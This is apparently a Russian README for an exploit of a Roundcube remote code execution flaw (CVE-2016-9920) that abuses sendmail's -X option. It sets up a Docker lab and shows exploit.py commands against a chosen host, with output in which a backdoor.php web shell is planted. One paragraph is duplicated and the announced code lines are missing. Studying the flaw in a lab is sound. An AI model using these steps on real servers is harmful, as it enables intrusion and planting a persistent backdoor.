
Roundcube 1.0.0 <= 1.2.2 - эксплойт удалённого выполнения кода и уязвимый контейнер
Roundcube — широко распространенное веб-приложение для работы с электронной почтой с открытым исходным кодом, используемое многими организациями и компаниями по всему миру. Например, зеркало на SourceForge насчитывает более 260 000 загрузок за последние 12 месяцев, что составляет лишь малую долю реальных пользователей. После установки Roundcube на сервер он предоставляет веб-интерфейс для аутентифицированных пользователей, позволяющий отправлять и получать электронные письма через веб-браузер.
В Roundcube 1.2.2 и более ранних версиях данные, контролируемые пользователем, попадают без санитизации в пятый аргумент вызова встроенной функции PHP mail(), которая считается критической с точки зрения безопасности. Проблема в том, что вызов функции mail() заставляет PHP выполнять программу sendmail. Пятый аргумент позволяет передавать этой программе дополнительные параметры, что даёт возможность настраивать sendmail. Поскольку sendmail предлагает опцию -X для записи всего почтового трафика в файл, злоумышленник может злоупотребить этой опцией и создать вредоносный PHP-файл в корневом каталоге веб-сервера атакованного сервера. Следующие строки кода вызывают уязвимость.
Для эксплуатации уязвимости необходимо выполнение следующих условий:
mail() в PHP (по умолчанию, если не указан SMTP [1])mail() PHP должна быть настроена на использование sendmail (по умолчанию, см. sendmail_path [2])safe_mode (по умолчанию выключена, см. safe_mode [3])Эти требования не являются особенно строгими, что означает большое количество уязвимых систем в реальном мире.
Чтобы настроить уязвимую среду для тестирования, вам понадобится установленный Docker. Просто выполните следующую команду:
docker build -t vuln/cve-2016-9920 .
docker run --rm -it -p 80:80 vuln/cve-2016-9920
Это запустит уязвимое веб-приложение на вашем хосте на порту 80.
В Roundcube 1.2.2 и более ранних версиях данные, контролируемые пользователем, попадают без санитизации в пятый аргумент вызова встроенной функции PHP
mail(), которая считается критической с точки зрения безопасности. Проблема в том, что вызов функцииmail()заставляет PHP выполнять программу sendmail. Пятый аргумент позволяет передавать этой программе дополнительные параметры, что даёт возможность настраивать sendmail. Поскольку sendmail предлагает опцию-Xдля записи всего почтового трафика в файл, злоумышленник может злоупотребить этой опцией и создать вредоносный PHP-файл в корневом каталоге веб-сервера атакованного сервера. Хотя эта уязвимость редка и не широко известна, RIPS обнаружила её за секунды. [4]
Для эксплуатации цели просто запустите:
./exploit.py --host HOST --user USERNAME --pwd PASSWORD --path PATH --www_path WEB_DIRECTORY
Если вы используете этот уязвимый образ, можно просто запустить:
./exploit.py --host 127.0.0.1 --user username --pwd password --path roundcube --www_path "/var/www/html/roundcube"
После эксплуатации в корневом каталоге веб-папки будет сохранён файл с именем backdoor.php. Эксплойт предоставит вам оболочку, в которой можно отправлять команды на backdoor:
./exploit.py --host 127.0.0.1 --user username --pwd password --path roundcube --www_path "/var/www/html/roundcube"
[+] CVE-2016-9920 exploit by t0kx
[+] Exploiting 127.0.0.1
[+] Target exploited, acessing shell at http://127.0.0.1/roundcube/backdoor.php
[+] Running whoami: www-data
[+] Done
Эта ошибка была найдена Робином Перагли (Robin Peraglie) [4]. Основной текст и идея этого образовательного материала созданы opsxcq.
Эта программа предназначена ТОЛЬКО для образовательных целей. Не используйте её без разрешения. Обычный отказ от ответственности применяется, особенно тот факт, что я (t0kx) не несу ответственности за любой ущерб, причинённый прямым или косвенным использованием информации или функциональности, предоставленной этими программами. Ни автор, ни интернет-провайдер не несут ответственности за содержание или неправильное использование этих программ или любых их производных. Используя эти программы, вы принимаете тот факт, что любой ущерб (потеря данных, сбой системы, компрометация системы и т.д.), причинённый использованием этих программ, не является ответственностью t0kx.